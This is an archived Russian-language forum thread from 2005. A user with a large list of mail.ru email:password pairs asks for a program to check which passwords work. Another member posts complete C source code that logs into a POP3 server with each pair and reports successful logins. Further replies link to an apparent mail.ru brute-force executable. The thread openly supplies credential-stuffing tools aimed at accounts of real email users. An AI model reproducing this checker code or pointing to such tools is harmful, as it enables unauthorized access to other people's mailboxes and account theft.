PDA

Просмотр полной версии : Проверка мыл на валидность паса


vorishka
20.10.2005, 20:15
Есть мыльники вида (много мыльников):
name@mail.ru: pas
Все мыльники находяться на серваке mail.ru (включительно list.ru, bk.ru, inbox.ru). Нада прога, которая проверит их на валидность паса. Помогите найти... :confused:

ZaCo
20.10.2005, 21:32
Напиши сам
Просто отсылаешь пакеты на pop3 сервак - если ответ с кодом 200, то всё прошло удачно! И работает это быстро

vorishka
20.10.2005, 22:08
1. Я не грамотный, напиши ты
2. Я ищю прогу, а не советы по написанию...

ZaCo
21.10.2005, 00:33
Мля.... спать охота. Завтра код дам

ZaCo
21.10.2005, 15:31
Вот держи!
взодные параметры - поп сервер, имя, пасс

//---------------------------------------------------------------------------

#pragma hdrstop

//---------------------------------------------------------------------------

#pragma argsused
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
#include <string.h>

int main(int argc, char* argv[])
{
if (argc!=4) return 1;
if(strlen(argv[1])>255||strlen(argv[2])>255||strlen(argv[3])>255) return 2;
char mess[2048],buff[2048];
int error;
//Ñîçäàäèì ñîåäåíåíèå
SOCKET s;
struct sockaddr_in addr;
WSAData data;
WSAStartup(MAKEWORD(2,1),&data);
s=socket(AF_INET,SOCK_STREAM,0);
addr.sin_family=AF_INET;
addr.sin_port=htons(110);
hostent *hp = gethostbyname(argv[1]);
memcpy(&addr.sin_addr, hp->h_addr, hp->h_length);
memset(&addr.sin_zero,0,sizeof(addr.sin_zero));
connect(s,(sockaddr*)&addr,sizeof(addr));
//Îòïðàâëÿåì ñåðâåðó ñîîáùåíèå
//çàïðîñ - èìÿ
recv(s,(char*)&buff,sizeof(buff),0);
strcpy(mess,"USER ");
strcat(mess,argv[2]);
strcat(mess,"\n\r");
error=send(s,mess,strlen(mess),0);
memset(&buff,0,sizeof(buff));
error=recv(s,(char*)&buff,sizeof(buff),0);
if (error==0) {printf("Error!");return 1;};
if(buff[0]!='+')
{
printf("Error:%s\n",argv[2]);
return 1;
}
strcpy(mess,"PASS ");
strcat(mess,argv[3]);
strcat(mess,"\n\r");
error=send(s,mess,strlen(mess),0);
memset(&buff,0,sizeof(buff));
error=recv(s,(char*)&buff,sizeof(buff),0);
if (error==0) {printf("Error!");return 1;};
if(buff[0]!='+')
{
printf("Error:%s\n",argv[3]);
return 1;
}
printf("USER OK!\n");
strcpy(mess,"QUIT");
send(s,mess,strlen(mess)+1,0);
closesocket(s);
return 0;
}
//---------------------------------------------------------------------------

vorishka
21.10.2005, 15:54
И чё мне с этим делать? Я ж говорю я низнаю ни одного языка программирования (кроме QBasica, его я не считаю как токовым!)
ТАК ЧТО Я ИЩЮ ИМЕННО ПРОГУ А НЕ ИСХОДНИКИ, СКРИПТЫ И Т.Д.
З.Ы. прогу какуюто уже нашел...

ZaCo
21.10.2005, 16:20
Ну ты даёшь... Нашёл так нашёл

AdiM
21.10.2005, 17:18
Нашел, поделись названием!

+toxa+
21.10.2005, 18:55
http://icqshechka.h14.ru/downloads.htm

vorishka
21.10.2005, 19:59
МОДЕРЫ ЗАКРЫВАЙТЕ ТОПК!
Вот прога!: http://zloysystem.com/mail_ru_brute_v3.0.exe